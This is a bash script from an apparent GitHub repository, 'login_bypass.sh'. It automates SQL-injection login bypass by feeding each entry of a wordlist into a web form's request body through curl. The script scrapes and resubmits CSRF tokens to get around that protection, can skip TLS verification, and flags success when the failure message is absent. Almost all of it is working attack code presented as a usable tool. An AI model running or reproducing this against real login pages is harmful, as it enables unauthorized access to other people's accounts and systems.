-
Notifications
You must be signed in to change notification settings - Fork 7
/
login_bypass.sh
290 lines (183 loc) · 10.4 KB
/
login_bypass.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
#!/bin/bash
# HTTP login page Brute Force with SQL Queries by Sajibu
# Parsing Arguments
while [ $# -gt 0 ]; do
key="$1"
case "${key}" in
-u|--url)
URL="$2"
shift # past argument
shift # past value
;;
-w|--wordlist)
WORDLIST=$2
shift # past argument
shift # past value
;;
-r|--request)
LOGIN=$2
shift # past argument
shift # past value
;;
-H|--header)
HEADER=$2
shift # past argument
shift # past value
;;
-e|--error)
ERROR=$2
shift # past argument
shift # past value
;;
-c|--cookie)
Cookie=$2
shift # past argument
shift # past value
;;
-s|--ssl)
SSL=$2
shift # past argument
shift # past value
;;
-C|--csrf)
CSRF=$2
shift # past argument
shift # past value
;;
-v|--verbose)
VERBOSE=$1
shift # past argument
shift # past value
;;
-h|--help)
echo -e "USAGE:\n-u | --url = Supply the login page, for example: -u http://192.168.98.200/login.php\n-w | --wordlist = Wordlist path.\n-r | --request = Request body, for example: -r 'user=FUZZ&password=123' replace injectable string with FUZZ keyword!\n-e | --error = Failed login attempt message, example: -e 'Invalid user or password.'\n-C | --csrf = Bypass CSRF protection. Use example: -C 'true'\n-c | --cookie = Set Cookie, for example: 'wordpress_test_cookie=WP%20Cookie%20check'\n-H | --header = Any header, for example: 'X-Forwarded-For: 10.10.10.10'\n-s | --ssl = No SSL/TLS check. Example: --ssl true\n-v | --verbose = Print header and post response to the screen. Example: -v | --verbose"
shift # past argument
exit 1
;;
-*|--*)
echo -e "$1 Required one parameter"
exit 1
;;
esac
done
# Arguments check
if [[ "$URL" == '' ]]; then
echo -e "[-] URL is not specified, use -u or --url."
echo -e "[-] Please use single quotes and type -h or --help for usage."
exit
fi
if [[ "$LOGIN" == '' ]]; then
echo -e "[-] Request body is not specified, use -r|--request."
echo -e "[-] Please use single quotes and type -h or --help for usage."
exit
fi
if [[ "$ERROR" == '' ]]; then
echo -e "[-] Error message - Error response message isn't specified, use -e or --error."
echo -e "[-] Please use single quotes and type -h or --help for usage."
exit
fi
if [[ "$WORDLIST" == '' ]]; then
echo -e "[-] Path for SQL injection dictionary queries isn't specified, use -w or --wordlist."
echo -e "[-] Please use single quotes and type -h or --help for usage."
exit
fi
if [[ "$SSL" != '' ]] && [[ "$SSL" != 'true' ]];then
echo -e "-s / --ssl must be set to true!"
exit
fi
main() {
#Header is set with different arguements check
if [ "$HEADER" != '' ] && [ "$Cookie" == '' ] && [ "$CSRF" == '' ] && [ "$SSL" != 'true' ]; then
REQUEST=$(curl -D headers.txt $1 -s "${URL}" -H "${HEADER}" --data-raw "${LOGIN/FUZZ/$wordlist}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" != '' ] && [ "$Cookie" != '' ] && [ "$CSRF" == '' ] && [ "$SSL" != 'true' ]; then
REQUEST=$(curl -D headers.txt $1 -s "${URL}" --cookie "${Cookie}" -H "${HEADER}" --data-raw "${LOGIN/FUZZ/$wordlist}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" != '' ] && [ "$Cookie" != '' ] && [ "$CSRF" != '' ] && [ "$SSL" != 'true' ]; then
CSRF_Name=$(curl -D headers.txt -s "$URL" | grep -o -P '(?<=csrf).*(?=" value)')
CSRF_REQ=$(curl -D headers.txt -s -c "cookies.txt" -d "$LOGIN" "${URL}" | grep -o -P '(?<=csrf).*(?=")' | grep -i -o -P '(?<=value=").*(?=)')
REQUEST=$(curl -D headers.txt $1 -s -b "cookies.txt" "${URL}" -H ${HEADER} --cookie ${Cookie} --cookie ${CSRF_REQ} --data-raw "${LOGIN/FUZZ/$wordlist}" -d "csrf$CSRF_Name=$CSRF_REQ" --header "X-CSRFToken: {$CSRF_REQ}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" != '' ] && [ "$Cookie" != '' ] && [ "$CSRF" != '' ] && [ "$SSL" == 'true' ]; then
CSRF_Name=$(curl -D headers.txt -s "$URL" | grep -o -P '(?<=csrf).*(?=" value)')
CSRF_REQ=$(curl -D headers.txt -s -c "cookies.txt" -d "$LOGIN" "${URL}" | grep -o -P '(?<=csrf).*(?=")' | grep -i -o -P '(?<=value=").*(?=)')
REQUEST=$(curl -D headers.txt $1 -s -b -k "cookies.txt" "${URL}" --cookie ${Cookie} --cookie ${CSRF_REQ} -H ${HEADER} --data-raw "${LOGIN/FUZZ/$wordlist}" -d "csrf$CSRF_Name=$CSRF_REQ" --header "X-CSRFToken: {$CSRF_REQ}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" != '' ] && [ "$Cookie" == '' ] && [ "$CSRF" == '' ] && [ "$SSL" != 'true' ]; then
REQUEST=$(curl -D headers.txt $1 -s -k "${URL}" -H "${HEADER}" --data-raw "${LOGIN/FUZZ/$wordlist}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" != '' ] && [ "$Cookie" == '' ] && [ "$CSRF" != '' ] && [ "$SSL" != 'true' ]; then
CSRF_Name=$(curl -D headers.txt -s "$URL" | grep -o -P '(?<=csrf).*(?=" value)')
CSRF_REQ=$(curl -D headers.txt -s -c "cookies.txt" -d "$LOGIN" "${URL}" | grep -o -P '(?<=csrf).*(?=")' | grep -i -o -P '(?<=value=").*(?=)')
REQUEST=$(curl -D headers.txt $1 -s -b "cookies.txt" "${URL}" -H ${HEADER} --cookie ${CSRF_REQ} --data-raw "${LOGIN/FUZZ/$wordlist}" -d "csrf$CSRF_Name=$CSRF_REQ" --header "X-CSRFToken: {$CSRF_REQ}")
response=$(echo -e $REQUEST > response.txt)
# Cookie is set with other arguments
elif [ "$HEADER" == '' ] && [ "$Cookie" != '' ] && [ "$CSRF" == '' ] && [ "$SSL" != 'true' ]; then
REQUEST=$(curl -D headers.txt $1 -s "${URL}" --cookie "${Cookie}" -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' --data-raw "${LOGIN/FUZZ/$wordlist}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" == '' ] && [ "$Cookie" != '' ] && [ "$CSRF" != '' ] && [ "$SSL" != 'true' ]; then
CSRF_Name=$(curl -D headers.txt -s "$URL" | grep -o -P '(?<=csrf).*(?=" value)')
CSRF_REQ=$(curl -D headers.txt -s -c "cookies.txt" -d "$LOGIN" "${URL}" | grep -o -P '(?<=csrf).*(?=")' | grep -i -o -P '(?<=value=").*(?=)')
REQUEST=$(curl -D headers.txt -s $1 -b "cookies.txt" "${URL}" --cookie ${Cookie} --cookie ${CSRF_REQ} --data-raw "${LOGIN/FUZZ/$wordlist}" -d "csrf$CSRF_Name=$CSRF_REQ" --header "X-CSRFToken: {$CSRF_REQ}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" == '' ] && [ "$Cookie" != '' ] && [ "$CSRF" != '' ] && [ "$SSL" == 'true' ]; then
CSRF_Name=$(curl -D headers.txt -s "$URL" | grep -o -P '(?<=csrf).*(?=" value)')
CSRF_REQ=$(curl -D headers.txt -s -c "cookies.txt" -d "$LOGIN" "${URL}" | grep -o -P '(?<=csrf).*(?=")' | grep -i -o -P '(?<=value=").*(?=)')
REQUEST=$(curl -D headers.txt -s $1 -k -b "cookies.txt" "${URL}" --cookie ${Cookie} --cookie ${CSRF_REQ} --data-raw "${LOGIN/FUZZ/$wordlist}" -d "csrf$CSRF_Name=$CSRF_REQ" --header "X-CSRFToken: {$CSRF_REQ}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" == '' ] && [ "$Cookie" != '' ] && [ "$CSRF" == '' ] && [ "$SSL" == 'true' ]; then
REQUEST=$(curl -D headers.txt $1 -s -k -s "${URL}" --cookie "${Cookie}" -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' --data-raw "${LOGIN/FUZZ/$wordlist}")
response=$(echo -e $REQUEST > response.txt)
# CSRF is true with other arguments
elif [ "$HEADER" == '' ] && [ "$Cookie" == '' ] && [ "$CSRF" != '' ] && [ "$SSL" != 'true' ]; then
CSRF_Name=$(curl -D headers.txt -s "$URL" | grep -o -P '(?<=csrf).*(?=" value)')
CSRF_REQ=$(curl -D headers.txt -s -c "cookies.txt" -d "$LOGIN" "${URL}" | grep -o -P '(?<=csrf).*(?=")' | grep -i -o -P '(?<=value=").*(?=)')
REQUEST=$(curl -D headers.txt -s $1 -b "cookies.txt" "${URL}" --cookie ${CSRF_REQ} --data-raw "${LOGIN/FUZZ/$wordlist}" -d "csrf$CSRF_Name=$CSRF_REQ" --header "X-CSRFToken: {$CSRF_REQ}" --header "X-CSRFToken: {$CSRF_REQ}")
response=$(echo -e $REQUEST > response.txt)
elif [ "$HEADER" == '' ] && [ "$Cookie" == '' ] && [ "$CSRF" != '' ] && [ "$SSL" == 'true' ]; then
CSRF_Name=$(curl -D headers.txt -s "$URL" | grep -o -P '(?<=csrf).*(?=" value)')
CSRF_REQ=$(curl -D headers.txt -s -c "cookies.txt" -d "$LOGIN" "${URL}" | grep -o -P '(?<=csrf).*(?=")' | grep -i -o -P '(?<=value=").*(?=)')
REQUEST=$(curl -D headers.txt -s $1 -k -b "cookies.txt" "${URL}" --cookie ${CSRF_REQ} --data-raw "${LOGIN/FUZZ/$wordlist}" -d "csrf$CSRF_Name=$CSRF_REQ" --header "X-CSRFToken: {$CSRF_REQ}")
response=$(echo -e $REQUEST > response.txt)
# Only SSL is TRUE
elif [ "$HEADER" == '' ] && [ "$Cookie" == '' ] && [ "$CSRF" == '' ] && [ "$SSL" != 'true' ]; then
REQUEST=$(curl -D headers.txt $1 -s -k "${URL}" -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' --data-raw "${LOGIN/FUZZ/$wordlist}")
else
REQUEST=$(curl -D headers.txt -s $1 "${URL}" -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' --data-raw "${LOGIN/FUZZ/$wordlist}")
response=$(echo -e $REQUEST > response.txt)
fi
}
# Variables
PASS="test"
wordlist=${WORDLIST}
# Counter
i=0
# Main loop
while IFS= read -r wordlist;do
# Increase counter
((i++))
# Feedback for user
echo -e "[-] Try ${i}: ${wordlist}"
# Connect to server
if [[ $VERBOSE == '-v' ]] || [[ $VERBOSE == '--verbose' ]]; then
main "-v"
else
main ""
fi
# Response check
status_code=`cat "headers.txt"`
match_response=$(echo -e $REQUEST)
if [[ $VERBOSE == '-v' ]] && [[ "$match_response" != *"$ERROR"* ]]; then # && [[ "$status_code" != *"/login?error=WrongCredentials"* ]];then
# Success!
echo -e "[*] Injection worked!"
echo -e "[*] SQL Query in Username field is: ${wordlist}"
printf "[*] If you're seen this message after the first try, please double check the failed login attempt message \n or if CSRF protection is on to avoid false postive!\n"
exit
elif [[ "$match_response" != *"$ERROR"* ]] && [[ $VERBOSE == '' ]] && [[ "$status_code" != *"200"* ]]; then
# Success!
echo -e "[*] Injection worked!"
echo -e "[*] SQL Query in Username field is: ${wordlist}"
printf "[*] If you're seen this message after the first try, please double check the failed login attempt message \n or if CSRF protection is on to avoid false postive!\n"
exit
fi
done < ${wordlist}